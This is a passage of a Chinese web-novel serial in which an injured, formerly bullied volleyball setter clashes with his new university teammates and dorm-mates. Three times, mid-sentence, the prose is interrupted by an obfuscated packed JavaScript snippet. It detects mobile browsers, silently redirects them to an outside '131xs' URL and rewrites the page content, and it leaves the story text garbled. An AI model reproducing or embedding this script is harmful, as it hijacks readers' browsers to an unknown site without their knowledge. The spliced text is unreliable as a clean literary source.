只不过这一次他没有选择拳头招呼,而是带有羞辱性质地拍了拍厉桀的侧脸,厌世清冷的双眼轻蔑地俾睨眼前人:“会咬人的狗不叫,乖,让个道儿。” 说完他双手顶着厉桀的腹外斜肌将人推了半米,如今落魄也不是谁都能踩上两脚。厉桀也顺势松开了他,反正自己想看的已经看完了,就是松手的一瞬间有些失望。 他的皮肤怎么会这么细? 砰一声,隔间的门被林见鹿打开,消瘦高挑的身影在门缝一闪,消失得无影无踪。厉桀收回目光,3年没接触这个人,林见鹿还是那么欠揍。那张嘴,真该找东西堵上。 等等,周围为什么有血腥味? 厉桀从小就鼻子好使,爸妈经常说他是圣伯纳的狗鼻子。而血腥味对他而言不陌生,打球挂彩那都是家常便饭。再加上血的气味格外好认,像铁锈,厉桀就像捕捉铁离子一样找了找,一眼锁定垃圾桶。 垃圾桶里面只有一张全新的湿纸巾。可纸巾上血迹斑斑,格外刺目,出血量应该还不小。 这是林见鹿的血?只有他了吧,他刚刚进来。难道是…… 厉桀毫无表情地沉思几秒,眼前闪过那人的局促以及苍白的面孔。 难道是林见鹿的痔疮犯了? 忽然间厉桀产生了很抗拒的想法,一想到自己闻了他屁股上的血就浑身刺挠,连忙离开了这个是非之地。 校园里绿树成荫,操场也灌满了大学生的欢笑声,新学期总是让人那么高兴,处处生机勃勃。而林见鹿走在小径上和周遭格格不入,眼珠像黑曜石蒙尘,只想找机会再把厉桀揍一顿。 身边仍旧有校友偷偷观察他,林见鹿身上不动声色的排斥感太强烈,明明已经是大学生,他还停留在高中的记忆里。现在他要干什么?嗯,应该回宿舍。 大学的开端和他想象中一点都不一样,没有友情,没有队友,甚至没有一个看得顺眼的教练。他也不想回宿舍,宿舍是4人间,他不确定和谁分在一个房间里,但无论是谁,都会有争执。 他也不想要首体大的队友。 就在这时候,包里手机开始震动,没有声音,只是震动。这已经是林见鹿的老毛病了,谁也不知道他被前队友整整霸凌了两年,而其中一种霸凌方法就是在他睡觉的时候不断打电话。 他到现在都不知道是谁干的,又是怎么做成的,当手机屏幕出现境外电话号码时,铃声就变成了追魂噩梦,把他习以为常的生物钟一次又一次打断。作为一个运动员,如果休息不好那对身体的影响无疑是灭顶之灾,所以外国人欺负中国运动员的方式之一就是强行唤醒,拉人去尿检、血检。 林见鹿已经恐惧于接电话,永远静音。哪怕爸妈安慰过他无数次,不行,一旦听到铃声他就会被拽回充满猩红的噩梦。 更可怕的是,他找不出幕后黑手。这种精神摧残胜过于电话骚扰,因为他看身边每个人都可能是戴着邪恶面具的假人。 现在来电人是他认识的,纪高教练。 “喂。”林见鹿等了好久才接。 “小鹿你在哪儿呢?回宿舍了吗?”纪高是觉得刚才的话有些过了,但不那么骂他们,厉桀和林见鹿真是扯不开。 “我在学校。”林见鹿兴致缺缺。 “怎么还不回宿舍呢?赶紧回去收拾一下吧。”纪高从业多年,也是经历过大风大浪的人物,语气也偏向柔和,“我知道你和同学们……不太熟悉。” “我和他们不熟。”林见鹿闭了闭眼睛。 “总要熟悉,不熟悉怎么打比赛?就算以前有些误会,现在你们都是成年人,必须学会互相包容。”纪高说得很隐晦,他猜大概率是全队包容林见鹿,“学校是4人间,我怕你住不习惯,刚好,有一间空着两个床位,可以当双人间住,你去吧。” 林见鹿强忍着大腿根部的撕裂疼痛,烈日当头,他的双眼仍旧没能点燃光辉:“室友是谁?” “是咱们大一男排的副队长,项冰言。你……认识吧?”纪高试探性地问。 林见鹿马上在脑海里搜索起来,首先他想到的不是项冰言的长相,而是他的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171831|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛。项冰言是全球少见的异瞳,眼睛一个黑一个蓝。但是这并没有给他增添太多的福利,相反,围绕项冰言的恶评一直不少。 他打“接应”位置,以前打得一塌糊涂。林见鹿曾经说过他打球像一条陨石边牧。 又是仇人。 “认识。”林见鹿只抛下这一句就结束通话,心里抱有一丝侥幸。还好,不是和厉桀一个屋,项冰言再怎么混蛋也不会混蛋成厉桀那样,光明正大地看他的胸。 又收到一条新信息,纪高把宿舍门牌号发了过来,是419。 4层,学校应该有电梯吧?林见鹿将手机塞回运动包,不经意间,一只黑色护膝从拉开的拉锁里滚了出来,掉在了小径的一旁。 首体大的宿舍条件比他想象中好,林见鹿站在宿舍电梯门前,终于有一样东西能让他满意。 为了怕学生们用不上电梯,眼前就有6部,在“电梯就是命”的现在时,林见鹿碰到它就像碰到了恩人。宿舍环境也非常整洁干净,光线充足,在走廊里林见鹿还能听到洗衣机房嗡嗡嗡不停工作的动静。 听说,学校给体院的宿舍配置都是加长、加宽、加高,还有单独的淋浴间。林见鹿只有在初中时住过校,但他对集体活动不陌生。体育生怎么会对合宿陌生呢,冬训、夏练、大集训,他们都住一起。 更何况,排球还是一项集体运动。把每一位队友当做家人,这是他曾经教练的名言,林见鹿也把他们当成过家人。 走过喧闹的走廊,林见鹿初来乍到,走到了419门口。眼前的门显然加高过,淡蓝色的门和雪白的墙有降温功能,抚平了他的烦躁。 铛铛铛,3次敲门之后,林见鹿还没来得及问“有人吗”,门被人从里面拉开。 门一开,林见鹿多年未见的手下败将就站在他面前,现在应该是首体大的首发接应。项冰言和他差不多高,右眼的蓝眼珠假得像瞎了一样,比义眼还有塑料感。 “呵。”项冰言也不是合群的人,颜色各异的眼睛一起看向某一处,有非常强烈的人机感,“这不是把别人当狗的林见鹿吗?现在你算什么?虎落平阳被犬欺?” “你也知道自己是平阳?”林见鹿的嘴也是遇强则强,伤成这样也不肯说软话。 项冰言偏过头冷笑。 下一秒他一把拉人进屋,轻轻扼住林见鹿的喉结将人压在了墙面上,折磨劲敌这种心理战可太有意思了。指腹压着林见鹿的喉结,项冰言在场上总因为“过度挑衅”被裁判警告,一时间四目相对,他缓缓靠近:“我要是你,宁愿下地狱都不会到首体来。我们可不会给你当狗,你省省吧。” “这话轮不到你说,万一就有人上赶子呢。”林见鹿第一次近距离看他的异瞳,冰蓝色像异鬼一样,据说以前还吓哭了排球赛的小观众。小观众的爸妈还把他给投诉了! “别做梦了,我们不是你以前那帮队友……”不等项冰言说完,他刚才急匆匆关上的宿舍门被人一脚踹开。 厉桀两只手各拎着一个旅行编织袋,还要腾出手指去拉行李箱,嘴里还叼着一个塑料袋,进屋了。 项冰言一愣:“你干嘛呢?” 厉桀把嘴里的塑料袋吐了,用余光瞄了一眼被压在墙上的林见鹿。虽然他是队长,但打打闹闹的事情他懒得管,更何况他管不住兄弟们对林见鹿下手。 “老纪说让我给他送行李。冰言你过来……”厉桀一招手。 项冰言这才松开林见鹿,还不忘记再瞪一眼:“什么事啊?” 项冰言是197,在厉桀身边也明显见矮。厉桀和他是高中同学,揽着肩膀把人带到门口,很神秘地说:“你们就算动手,也得挑一个他身体好的时候。现在他有伤,欺负人的事别干。” “他哪儿有伤了?我看他好着呢。”项冰言看了看手,好似还压着那把硬骨头。 厉桀低了低头,在他耳边说:“他痔疮。” 5. 鹿头气炸 419宿舍迎来了短暂的安静。 项冰言的蓝眼睛不吃光,微微眯了眯:“你有病吧?” “我很健康。”厉桀很自信。 “你怎么知道他有痔疮,这么私密的事情他告诉你?”项冰言瞥了一眼那边冷漠沉静的人,“总不可能是你亲眼看见的吧……” “你别这么恶心行么?”厉桀想一想那场景就害怕,他怎么可能去看林见鹿的屁股。但此刻他也想不出什么好的回答,比起看了林见鹿的屁股…… 把人家堵在洗手间里,然后不小心看到了他的屁股血,这个选项也不怎么样。 “当然是他自己和我说的。”索性厉桀开始胡掰,这辈子他也不可能去看林见鹿的鹿臀。 项冰言拧了下眉头:“他为什么要和你说这种事?” “当然是我把他给打服了。刚才我俩在老纪办公室打起来,差点没拆开。”厉桀半真半假地说,“老纪为了惩罚我,让我给他拿行李。你俩好好相处吧。” “我和他相处不了,他被你打服了,你俩相处去。”项冰言丢下一句,从上铺拽下队服外套,披上衣服就走了。 419剩下两个人,林见鹿靠着墙面,连正经眼神都不给厉桀一个:“行李送到了,现在你可以滚了吗?” 厉桀活动着手腕,他的体格是排球运动员中的力量型,进攻线路一旦爆发就是一打一个穿。他走近林见鹿,侵蚀性的压迫感从四面八方而来,用影子将人钉在了墙上。 “如果刚才不是我救场,你现在已经挨揍了。”厉桀是队长,项冰言是副队,按理说他俩就是队里脾气相对稳定的两个,然而林见鹿就像幕后操控一切的傀儡师,轻而易举把他俩逼到火大。 都说“二传手就是心脏”、“二传最会玩弄人心”,这话果然不假。 懒得管他,自生自灭去吧。厉桀刚准备离开419,忽然间手机响起,来电人是他目前最不想见的纪高。 “又怎么了?”厉桀无奈接起。 纪高在远程监控:“人到宿舍没有?行李送到了没?” “到了到了,都到了,能不能活过第一个晚上我也不确定。”厉桀如实回答。 “怎么说话呢?以后大家都是队友。排球网的这边全都是自己人,你给我收敛点!”纪高抛下一句,“我已经决定了,由你带小鹿熟悉校园环境,带他熟悉队友。” 厉桀看着窗外飘过的积雨云:“为什么选我?” “因为你妈妈和我提起过,你们小时候认识。好朋友嘛,帮一下。”纪高和厉桀的妈妈是好友。 厉桀不声不响地挂断了电话,回头看向那位还在墙面靠着的人,心里不声不响地说,其实还不如小时候不认识。 他承认,林见鹿长得很漂亮,哪怕他现在丧眉搭眼也还是漂亮。他眼睛灰蒙蒙的,有眼睑下至,睫毛也很会长,像精心设计过长短,湿润地压住他常年不抬的眼尾。 但他的漂亮里有很多恼人的成分,总而言之,他是一种不讨人喜欢的漂亮。厉桀很难想象什么人会喜欢他,包括他以前的队友,都怎么忍他。 “老纪说,让我带你熟悉校园环境。别愣着了,走吧。”厉桀走到林见鹿面前。 林见鹿还是没动,从刚刚进屋到现在他一直靠着墙面,仿佛这面墙救过他的命。 “我不去。”林见鹿说得很小声。一个尖锐的人忽然降下音量,显得有些可怜。 厉桀微皱了皱眉:“又不是我非要带你去,教练吩咐。真烦你磨磨唧唧的。” 林见鹿连眼皮都不想抬一下,他不是能忍下项冰言,而是着实没力气。但考虑到教练的吩咐,最终他还是决定去。在离开之前,他要求进宿舍自带的小卫生间方便一下。 厉桀同意了,大概是他痔疮又疼了吧。自己作为队长,本身就具有善解人意等好品质。而这些好品质,他相信林见鹿已经体会到了并且受益匪浅,否则他不会只和自己说话那么小声。 说话小声就是示弱,厉桀作为强壮的男人,愿意接受他的示弱。 可林见鹿进洗手间后就没有声音,要不是厉桀熟悉学校的布局,知道洗手间只有一扇小窗,他都怀疑他真像林中小鹿一样蹦跶走了。 林见鹿,当年他第一次听到这个名字,就记住了人生中学会的第一句古诗词——林深时见鹿,溪午不闻钟。 “喂!出不出来了!”厉桀耐心耗尽,敲了敲门。 “催什么……”林见鹿终于打开那扇门,“走吧。” 他脱了右腿的高筒袜,并且一出来就把袜子藏在枕下,怕别人看到血迹。作为一名进攻型二传,很多人叫他“高速公鹿”,也是夸他的鹿腿又直又能蹬。 厉桀反而成了原地不动的那个,目光从他右大腿滑落到脚踝。 “走不走?”林见鹿没耐心了,不行,还是想揍他。 “你把鹿眼瞪那么大干嘛?又装纯情鹿设?”厉桀鼻子有点发热。 林见鹿顿时看向他:“我是人眼。” “你叫‘林见鹿’,不就是鹿眼?” “那我要是叫‘林见马’呢?”林见鹿的鹿头气炸。 “那就叫马……”厉桀忽然闭嘴。 “求你了,好好读点书吧……咱们走不走?”林见鹿想拿鹿角顶死他。 “走。”厉桀莫名地揉了下鼻子,他春天会对花粉过敏,刚才仿佛又回到了春天,一整吨花粉朝他扑面而来,呼吸有些困难。但刚刚林见鹿又和他示弱,都求他了。 爷们儿是经不起求的,爷们儿天生就压事。 林见鹿跟着厉桀下楼,鹿头里根本没有厉桀,一直在回忆项冰言。他是一名左手接应,在2号位打得风生水起,左利手。但缺点也比较明显,项冰言太依赖队友的发挥,很吃到位球。 球不到位,项冰言的左手就废掉一半。是一个不太稳定的接应。 “学校排球馆有两个,咱们大一使用A馆。学校分为4个校区,东南西北。体院主要在东校区活动,大部分场馆也在这边。”厉桀导游一样尽职尽责地介绍。 “那边。”林见鹿忽然停下。 厉桀转回去,眼睛像扫描机,从林见鹿右脚的排球鞋开始启动。这个牌子的排球鞋不便宜,林见鹿总是这样,哪怕他坐了两年的冷板凳,每次比赛都上不了场,行头这方面他都要最好。 白色短袜,仔细看袜口还有一圈小花纹? 真受不了,小姑娘似的。 膝盖很小,腿型很直,皮肤很白。 厉桀看到大腿根将目光转移,顺着林见鹿的手指方向看过去。林见鹿指的是一座雕像,因为离得太远,他看不出那是什么运动。雕像周围是三分之二圈的弧形,像一面墙。 “学校的名人墙,从建校以来到去年,对学校有过特大贡献和记录创造者都在上头。”厉桀又低了低头,不知道看了什么。其实自己家花园里也有一座雕塑,只不过是打排球的。 “你很喜欢雕塑?”厉桀立即问道。 “名人墙……”林见鹿没回答他,“那个是什么运动?” “背越式跳高,为了纪念咱们学校在跳高领域的杰出贡献,由学校一位荣誉校友自掏腰包赠送。听说那是从前的校园风云人物,还一手建立了学生会的运动员基金。”厉桀耐着性子解释,“你看够了没有?你要是这么喜欢雕塑,还有很多可以参观的地方。学校的雕塑,品质一般。” 运动员基金……林见鹿又没理会他,只默念了两遍。 不知道是不是错觉,厉桀觉得林见鹿听他说完之后就心情好了不少。但这不稀奇,自己的友好和豁达显而易见。 两人顺着林荫道一直走,碰上了篮联部,巨人国碰面还打了个招呼。排球和篮球一样,虽然大家都在说什么超绝弹跳力,但身高、臂长仍旧可以武力镇压。 林见鹿也是这样想。打排球最惨烈的事无非就是两种,一种是自己这样,巅峰时期受伤急流勇退。一种是身高不长,永远跨不进巨人国。 厉桀带着林见鹿在学校走了一圈,自觉任务完成得不错。他站在419门口说:“其他的队友在417和418,你和冰言好好相处吧,他如果动手你可以喊救命。” “谁动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171832|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手还不一定。”林见鹿回答。 日光将他晃得格外白,又是厉桀没见过的那种白皙。“学校一卡通你记着办,不懂就找老纪。明早6点听哨声起床早练,顺便见一见队友。” 队友……林见鹿忽然一怔。 “吓着了吧?”厉桀狞笑着拧了一把他的脸,“都是你的老熟人,大家都想见见你。” “滚!”林见鹿脑补出“桀桀桀”的反派笑声,一巴掌拍开他的大手,不耐烦全部写在脸上。他转身进屋,留给厉桀一声撞门的巨响。 厉桀也没生气,反正老纪的任务他完成了,从现在开始,他不会再踏入419一步!除非拿□□逼他! 林见鹿回屋才发现项冰言已经回来了,两人谁也没理谁,他走到床边,拉开留在宿舍的运动包。 翻了两三下之后,林见鹿突然间转了过来:“你翻我包了?” 项冰言正在滴眼药水,那只不同寻常的眼睛总能放大情绪,像要杀人。“你说什么呢?” “你是不是翻我包了?”林见鹿摆出了质问的态度,可右手在颤抖。 “你他妈有病吧?找死你说一声!”项冰言几乎是爆发式的狂怒,长这么大还没人冤枉他翻包偷东西。林见鹿当然没有说那么清楚,但是那张臭脸上写满了“小偷”两个字。 为了控制体内的暴怒,项冰言一言不发地离开了419。 林见鹿的右手还在持续颤抖,他冲进洗手间,将白色半掌手套一把拽掉,看向因为没休息好而长歪的尾指。 那根被人生生踩断、掰断的尾指,撕脱性骨折。 对打排球的人而言,手指多么重要。 他拧开水龙头不断冲洗,试图将幻想中的疼痛冲刷出去。手指骨折在排球运动员身上不罕见,特别是副攻,因为副攻肩负着高强度的拦网。林见鹿不怕骨折,如果是在比赛里,哪怕10根手指一起断掉他也不会后退。 他只是…… 借由冷水的冲刷,林见鹿也在尝试剥离扎根在心里的回忆。他的护膝丢了,又丢了,那是最后一只!他不知道是丢在哪里,也不确定是不是项冰言。他从前无数次这样莫名其妙丢东西,被人翻包翻到麻木。什么队友?都是假的。这世界上怎么可能会有真情实意的队友,大家不过是搭帮结伙打球罢了。 队友都不是什么好东西! 林见鹿将两只手压在盥洗台的边缘,低头冲了冲脸。他起身,眼睛可能是被水冲的,很红很红。 接下来他没有离开宿舍,项冰言也没回来。他笨手笨脚地开通校园通,但是不知道为什么,学号验证总是失误。林见鹿从小就玩不转网络上的小程序,很想找人问问。 手放在宿舍门把手上,又给收了回来。走廊里很热闹,体院男生宿舍的走廊从来没有安静下来的时候。 可林见鹿没有走出这扇门。 一场暴雨在晚上8点袭击北京,刚好大一男排结束训练。厉桀以前这时候都会马不停蹄往宿舍跑,第一个冲热水澡,今天却犹犹豫豫,特别不愿意面对事实。 半小时前,纪高又找他:“冰言和我反应了小鹿的问题,我觉得他俩住一起会出事。你今晚换个宿舍,从417过去。” 一句话,厉桀又回到了419的门前。原本这屋就是单独给冰言准备的,冰言因为眼睛异样,习惯性远离人群,也就是和他玩得好。现在来了个林见鹿,瞬间变成3人间。 屋里没声音,厉桀怀疑林见鹿已经饿死。他直接拧动门把手,窗户没关,蓝色的窗帘被狂风吹成一个大鼓包,已经湿了一半。 “你没死吧?”厉桀跟进鬼屋似的,先问了一句。 无人回应。 不知道出于什么心理,厉桀也没有开灯,而是走向唯一一张拉满床帘的上铺。他脑海里全都是鬼片情节,一拉开床帘,里面就是一个吊挂在天花板的贞子,或者像许仙那样,拉开之后探出一条巨蛇。 他拉开了,里面只有静静的一个人,睡得跟死过去没有两样。 生活技能为零的林见鹿不会铺床,蜷着双腿,睡在光秃秃的硬木板上。 6. 诡计多端死二传 一个闪电打过来,林见鹿全身都照亮了。 厉桀鬼使神差地看了两分钟。 屋里很安静,外面的天气很狂躁。厉桀自动屏蔽了这种声音,耳朵里只剩下砰砰砰的击球声似的。 他又看了两分钟。 天气预报中的预警如期而至,接下来是一个由远及近的炸雷。他听着雷声,清晰分辨出林见鹿的眼睫毛是又细又软的斜飞趋势,很长,真的很长,太长得太细了,多出了凌乱的飞感。 再一个炸雷过来,那斜飞的5D眼睫毛动了动,人要醒了。 厉桀立即伸手,在林见鹿肩膀上用力一拍:“喂,起床!” 啪叽一声,给林见鹿抽醒了,也吓醒了。他起身速度很快,弹射般改变了蜷缩的形态,笔直的后背紧贴白墙,把自己变成了一幅壁画。 两个膝盖同时朝向厉桀,让厉桀在视觉效果上产生了一种错觉——其实林见鹿并不高。 “你是不是找死?”林见鹿抿了下嘴唇才开口。 一开口,厉桀那错觉顿时消失:“你最该伤的不是腿,是声带。真想把你声带割了。” “那对不起,声带好好的。”林见鹿在不开灯的情况下也看不清厉桀什么表情,只是觉得他很高。 高到让人产生恐惧。排球宿舍的床已经加高了,但在厉桀的对比下还是不够。林见鹿猜测他也不想过来,便说:“你能不能滚?” “你以为我想站在这里?你今天凭什么骂冰言?冰言招你惹你了?”厉桀强压怒火,第一件事还是帮项冰言打抱不平。 林见鹿收了收胳膊,强硬得仿佛说一句软话就会死:“我没骂。” “怪不得你以前的队友都那么说你。”厉桀多多少少听过些,林见鹿确实是一个不拿别人当人的家伙,打个二传就跟多了不起一样。 他猜测林见鹿以前也不会有朋友,也懒得搭理他,索性转身准备走。大不了和老纪说一声,再继续给林见鹿换宿舍。 “喂……”就在厉桀转身那一刻,林见鹿忽然开口。 厉桀停下来:“你要想让别人听你说话,就有点礼貌,把臭脾气收收。” “你……会铺床吗?”林见鹿小声问。 “什么?”厉桀大声回,不可思议地看向他。 “怎么,怎么铺床?被罩你会弄吗?”林见鹿忽然瞪大眼睛。 他的语气终于柔和下来,但不是服了,而是没力气再争辩。他好像错过了午饭和晚饭,睡醒之后头也很晕,腿也很疼。厉桀的出现让他看到了一个……特大号工具人。 厉桀缓缓走过来,到床梯前停下,两只手搭在床栏的上方。 林见鹿的眼皮微微一抬,却昂起了尖尖的下巴,像饱经风雨之后的残玉,已经碎出了贯穿的裂缝。但玉就是玉,不会因为裂了一条就变成石头。他眼珠仍旧是沉色,瞳孔里好似色素沉淀,永远反不出光。 无论多少光照射给他,都反射不来亮度。 “你不会?”厉桀认为他在耍他。因为林见鹿以前的队友说,林见鹿会把他们当狗耍。 林见鹿偏了下头:“不会。” 厉桀看向他两只膝盖。因为睡觉的缘故,林见鹿已经摘掉护膝,露出了肌肤。厉桀不想承认自己想法肮脏,但林见鹿身上的“亵玩感”很重,仿佛几十个队友谁都可以上手摸他一把。 但这样一想,厉桀又浑身刺挠上了,很不舒服。 “自己滚下来。”算了吧,厉桀还是同意了,再说他屁股还流血呢。 林见鹿下床很慢,明明可以直接跳下来,他一步一步按照床梯的横杆往下踩。厉桀开了灯,屋里足够明亮,林见鹿像摸石头过河的瞎子,不相信灯光。 这种笨拙的行为,让厉桀想到儿童乐园里的小孩子。 他从背后看了看林见鹿笔直的腿,林见鹿穿着花纹白袜踩到地上,连拖鞋都没拿出来。他摇晃了一下,厉桀也没有扶他,转手先把床铺下的铺盖卷丢上去。 首体大的宿舍都是“上床下桌”,很方便也很舒适。厉桀真想不明白,自己为什么要像老爹子一样,给林见鹿铺床? 可能是林见鹿不和他顶嘴的时候有点可怜吧,丧家之犬。 林见鹿的东西不多,很轻简一人。厉桀还以为他的枕头也弄点小花纹之类,结果什么都是白色,铺完之后厉桀怀疑自己当了一回护工,给病人换了个床位。 “好了。”厉桀直接跳下去,那么高一人,居然没什么动静。打排球哪能不会缓冲,不然就他们那个训练量,上高中的时候膝盖铁定报废。 林见鹿坐在空书桌前面,拿着手机,不知道在看什么。还戴着耳机,完全忘记他命令厉桀铺床这回事。 厉桀冒着一头火气到他背后,抡圆了手臂在他后背打了一掌。 声音大到听出了胸腔共鸣,林见鹿的手机都被震掉了,滑到桌面,屏幕上正在演AI动物小视频。 “你……”林见鹿疼得说不出话。 “铺完了。”厉桀原本还以为能听到他说一声“谢谢”,呵呵,想多了,林见鹿就没有感恩之心。 这一下打得确实很重,林见鹿怀疑上半身都被拍粉碎了。但他真的不习惯说“谢谢”,反而上前一步,下坠一样拉住厉桀的手臂。 厉桀刚走出半步,下意识回头准备迎接林见鹿的巴掌,手都挡到了面前。 “嘶……”林见鹿先倒吸一口冷气,“你会弄校园通吗?” 厉桀像看不明生物一样,他居然还想再接再厉使唤人? “我不会弄,总登录不上去。”林见鹿只有找人办事的时候才会直视别人,“登录不上去,我好像……没法在食堂吃饭。” 有人说,在排球比赛中,攻手都是二传的玩具。 厉桀怀疑林见鹿把这臭毛病带到了现实生活里,很嫌弃地问:“你多大了?手机小程序不会弄?” “不太擅长。”林见鹿攥着右拳,藏着尾指。 “你……”厉桀想甩开他的手。 “我很饿。”林见鹿说。 厉桀怀疑林见鹿是一个诡计多端的死二传,居然用那样的眼神看自己。他从桌上拿起林见鹿的手机,屏幕摔得四分五裂,但是还能用。林见鹿用指纹解锁,既然请厉桀帮忙,他挺大方地解释了一下。 “刚刚看的是小猫小狗,很解压。推荐你也看。” “我没你那么大的压力,谢谢,而且我家有猫有狗。”厉桀白了他一眼,非常不高兴他把这些细节都忘记了,便补充说明,“你又不是不知道!” 林见鹿茫然地回忆了一下,好像是。厉桀家很有钱,他妈妈当年没有选择出国,高考成绩优秀被名校录取,刚好,室友的其中一位就是自己的妈妈。 如果不是因为上大学,自己的妈妈和厉桀妈妈这辈子都不可能认识。 林见鹿是普通家庭,小时候去厉桀家迷过路。他家像一个大迷宫,有德牧、圣伯纳、金渐层,还有两只特别漂亮的流浪猫。林见鹿很想和它们玩,但自己对皮毛过敏,只能远远看着。 家里养他一个就挺费劲,也不想再养什么宠物。看小猫小狗视频就是非常解压,厉桀真没品。 就在林见鹿回忆厉桀家的布局时,手机校园通的绿色标识跳出来,通过了。厉桀将手机还给他,郑重地说:“林见鹿,警告你一次。” “弄好了?你怎么这么会玩手机?”林见鹿看着校园通可以用了,眼神多多少少带了些暖意。这点暖意也被厉桀捕捉到,看吧,诡计多端二传手,上午和自己打架,晚上就知道装可怜。 “你这套对我没用,找别人装可怜去。以后自己的事情自己办,明天6点滚下床跑步,晚一秒罚一圈。”厉桀是队长,他是有一些小权利的,比如惩罚队员的懒惰。 “哦。”林见鹿重新回归冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171833|180714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“慢走,不送。” “对不起,请神容易送神难,你还真送不走我了。”厉桀原本想走,但看到林见鹿这副德性又换了念头。他得在419住下,必须看着他,省得他用双腿和眼神诱惑项冰言。 毕竟项冰言的意志力没有自己坚定。 等项冰言回宿舍的时候,厉桀的床位已经收拾完毕。他松了一口气:“要不是你来,我都不想回来了。他人呢?” 厉桀两条长腿垂在床边,手里的iPad放着今年的春季校园联赛高水平组决赛,用下巴指了指洗手间。 刚好,洗手间的门打开,水气和那人一起出来。他整个人都特别“空”,看不出任何情绪,但也仿佛谁的情绪都可以容纳。身体偏瘦又挺拔,很高傲。 但是一转身,后背上落了一个非常大的红手印,五根手指清晰无比。这样傲慢的一个人被人打了,让这具身体更充满故事性和矛盾性。当他转身时,眼睫毛在脸上落下两片投影,冰冷的嘴角绷得笔直。 项冰言一瞧,就知道那手印一定是厉桀的,全队只有厉桀的手那么大。这手印要是落在林见鹿腰上,能有他四分之三的腰宽。 “谢了兄弟。”他对厉桀点了下头,林见鹿说话确实很欠打。 林见鹿像没听到他们说话,一个人坐在书桌前翻口袋,洗澡前他去楼下买了个三明治。厉桀看向他苍白的后背,第一次发现他吃饭这么慢,尖削下巴往下是喉结,随着他的吞咽慢慢滑动着。 他吃这个三明治用了一刻钟。 厉桀拿起iPad,把决赛回放的进度条往前拨了一刻钟。 iPad屏幕里刚好出现了一名二传手,厉桀非常意外地想起了林见鹿曾经的风采。他是高个二传,现在的二传都喜欢挑高个子了,而且也不在身兼单一职能。 林见鹿16岁巅峰期算得上全能型,除了发球不太行。他进攻时像接应,拦网时像副攻,偶尔还能第二次传球直接得分,小球花样翻飞,两只手像鬼手一样,哪怕近距离隔着网,对面也很难预测他要干什么。 现在他还剩下多少能耐?厉桀两年多没见过他上场。明天又是发球专项训练,他不知道林见鹿的弱项发球是更弱了还是补强了。 第二天,起床哨声和铃声叫醒了一栋楼。 林见鹿昨晚吃了一个三明治才睡,有些不消化。难熬的第1天终于过去,迎来了难熬的第2天。 厉桀和项冰言已经开始洗漱,林见鹿等他们用完才进去。出来之后该换衣服,桌上放着首体的四季训练服。 他还是穿上了高中队服。 哨声第2次吹响,催促他们下楼。林见鹿摸了下包,才想起丢了个护膝,时间已经来不及了,他跌跌撞撞朝门的方向跑去。 结果就是这样一跑,撞上了开门的人。 长头发扎成一束,和自己一样高,外表像玉面书生但实际上拦网非常凶悍的副攻手,云子安。 “呦,这不是大名鼎鼎的林见鹿?”云子安将手一松,奇怪地笑起来,“怎么,站都站不住,必须往人身上扑?” 林见鹿不愿意吵架:“起开。” 话音刚落,一只滚烫的大手拧着他的腕口将他往后拽,林见鹿一不小心又靠在了厉桀的怀里。 “真会投怀送抱呢,一早上就撞两个。”云子安又笑起来,高马尾非常瞩目,“我们漂亮冰言呢?” “滴眼药水呢。”厉桀回头看了一眼,又把林见鹿拉到更旁边,非常残忍地告诉他,“收起你那套,不要对我兄弟下手。” 林见鹿茫然地看过去,眼睫毛像扫空气。 “林见鹿,我警告第2次。”厉桀低声恐吓,“不要试图勾引我的队员。我不管以前你是怎么做到的,让你们学校十几个男生对你效忠,但是你那点甜头别往首体大洒。有什么冲我来。” 林见鹿听懂了,忍了又忍,一巴掌糊了过去。 7. 他生怕自己不上钩 早练是每个体育学院都雷打不动的环节。 冬练三九,夏练三伏。竞体拥有着最无懈可击的底层逻辑——练,不一定会进步;但不练,一定会退步。 总教练黄俊负责管理各项目、各年级教练,纪高刚刚上交了运动小周期计划表和教案,回到自己队伍时,厉桀脸上的五指山格外瞩目。 纪高的目光从厉桀脸上转移,看向了队尾的那个。然后又转回来,停在厉桀的鼻梁骨上。 厉桀一言不发,厉桀选择保持沉默。 “怎么回事?”纪高率先提问。 “早上不小心撞上鬼了。”厉桀目视前方,扯开嘴角笑了笑,“没事。” 纪高无奈地摇了摇头,最初坚定不移的想法也开始动摇。林见鹿真的能融入团体吗? 林见鹿仿佛感受到了教练的迟疑,缓缓往前一瞥。前面有9个人,每个他都认识,厉桀穿1号球衣,显然他是队长。全队只有自己衣服不一样,林见鹿还没扭转观念,不知道如何融入他们。 在所有事情都没发生之前,他的那些朋友也很好的。 一声长哨打断了林见鹿的回忆,长跑10公里正式开始。 